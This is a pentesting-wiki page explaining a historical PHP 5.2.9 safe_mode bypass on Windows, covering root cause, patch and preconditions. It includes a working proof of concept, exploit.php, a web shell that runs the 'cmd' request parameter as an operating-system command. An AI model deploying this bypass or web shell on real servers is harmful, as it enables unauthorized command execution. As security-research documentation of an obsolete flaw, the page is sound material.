disable-functions-bypass-php-less-than-5-2-9-on-windows.md (5733B)
1 --- 2 title: "PHP <= 5.2.9 Safe Mode Bypass on Windows" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PHP <= 5.2.9 Safe Mode Bypass on Windows 14 15 This is a historical proof of concept for a Windows-specific `safe_mode` bypass reported against PHP 5.2.9 and earlier. Prefixing a command with a backslash could confuse the old safe-mode command-path construction and still leave Windows with an executable command. PHP tracked the flaw as bug #45997 and fixed it in the PHP 5.2.10 code line.<sup>[[3]](#references)[[4]](#references)</sup> 16 17 This is **not** a generic `disable_functions` bypass. PHP removed `safe_mode` in version 5.4.0, and all affected PHP releases are obsolete. Keep the example only for legacy research environments.<sup>[[2]](#references)</sup> 18 19 > [!WARNING] 20 > The proof of concept executes the `cmd` request parameter as an operating-system command. Run it only in an isolated, disposable lab. 21 22 ## Preconditions and triage 23 24 The primitive is narrowly scoped; check the environment before trying the file-backed PoC:<sup>[[3]](#references)[[4]](#references)</sup> 25 26 - The target must be a **Windows** PHP build from the affected legacy line (PHP **5.2.9 or earlier**). 27 - `safe_mode` must be enabled. The known primitive assumes `safe_mode_exec_dir` is empty or otherwise does not rewrite the command into a valid allowed executable. 28 - At least one affected entry point—`exec()`, `system()`, or `passthru()`—must still be callable. If `exec` is also present in `disable_functions`, the PoC below cannot reach the vulnerable logic. 29 - The attacker must already be able to execute PHP. The batch-file variant additionally needs a writable current directory, and the child process only receives the web-server account's Windows permissions. 30 31 A compact PHP 5.2-compatible preflight is: 32 33 ```php 34 <?php 35 var_dump(PHP_OS, PHP_VERSION); 36 var_dump(ini_get('safe_mode'), ini_get('safe_mode_exec_dir')); 37 var_dump(ini_get('disable_functions')); 38 ?> 39 ``` 40 41 ## Why the leading backslash works 42 43 In the vulnerable `php_exec()` path, PHP split the executable from its arguments, rejected `..`, found the last platform directory separator, and then combined that suffix with `safe_mode_exec_dir`. If the command began with `\`, the separator pointer was the start of the string; with an empty execution directory, the command therefore reached the Windows process launcher as `\command`. The PHP 5.2.10 fix explicitly rejects this case when the first byte is a backslash and returns `Invalid absolute path.` instead.<sup>[[3]](#references)[[4]](#references)</sup> 44 45 The shared code path explains why the primary report names `exec()`, `system()`, and `passthru()`. Do not automatically extend the claim to every process API.<sup>[[3]](#references)[[4]](#references)</sup> 46 47 ## Minimal verification 48 49 The original PHP report used `ping`. Point it at loopback and request one packet for a self-contained check from a Windows command prompt in a disposable PHP 5.2 lab:<sup>[[3]](#references)</sup> 50 51 ```batch 52 php -n -d safe_mode=on -d safe_mode_exec_dir= -r "exec('\ping -n 1 127.0.0.1', $out, $rc); var_dump($rc, $out);" 53 ``` 54 55 On an affected build, the leading-backslash form executes under the current PHP/web-server identity. On PHP 5.2.10, it should fail with the new invalid-path warning. An empty result on an old build is not automatically proof of patching: first check `disable_functions`, `safe_mode_exec_dir`, `PATH`, and the service account's process-creation permissions.<sup>[[3]](#references)[[4]](#references)</sup> 56 57 ## File-backed web PoC 58 59 The following Abysssec variant creates a batch file, starts it through the same leading-backslash primitive, and reads redirected output from disk.<sup>[[1]](#references)</sup> 60 61 ### exploit.php 62 ```php 63 <?php 64 // Historical Abysssec proof of concept; use only in an isolated legacy lab. 65 $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; 66 67 if ($cmd !== '') { 68 $batch = fopen('cmd.bat', 'w'); 69 fwrite($batch, $cmd . '>abysssec.txt 2>&1' . "\r\n"); 70 fwrite($batch, 'exit' . "\r\n"); 71 fclose($batch); 72 73 exec('\start cmd.bat'); 74 $output = file_exists('abysssec.txt') ? file_get_contents('abysssec.txt') : ''; 75 echo '<h1>PHP <= 5.2.9 safe-mode bypass</h1>'; 76 echo '<textarea rows="20" cols="60">'; 77 echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8'); 78 echo '</textarea>'; 79 } 80 ?> 81 82 <form method="post"> 83 <input type="text" name="cmd"> 84 <input type="submit" value="Run command"> 85 </form> 86 ``` 87 88 ### cmd.bat 89 The PHP proof of concept creates this batch file dynamically. For a standalone lab test, its equivalent contents are: 90 91 ```batch 92 dir > abysssec.txt 2>&1 93 exit 94 ``` 95 96 97 ## References 98 99 - [1] [Exploit-DB 8799 - PHP 5.2.9 Windows local safe-mode bypass](https://gitlab.com/exploit-database/exploitdb/-/raw/main/exploits/windows_x86/local/8799.txt) 100 - [2] [PHP 5.4.0 release announcement - removal of safe mode](https://www.php.net/releases/5_4_0.php) 101 - [3] [PHP Bug #45997 - Windows `safe_mode` bypass](https://bugs.php.net/45997) 102 - [4] [PHP source fix for bug #45997](https://github.com/php/php-src/commit/4d2e2953448f9e7c9f49a0ad91a1d54bed514b5f)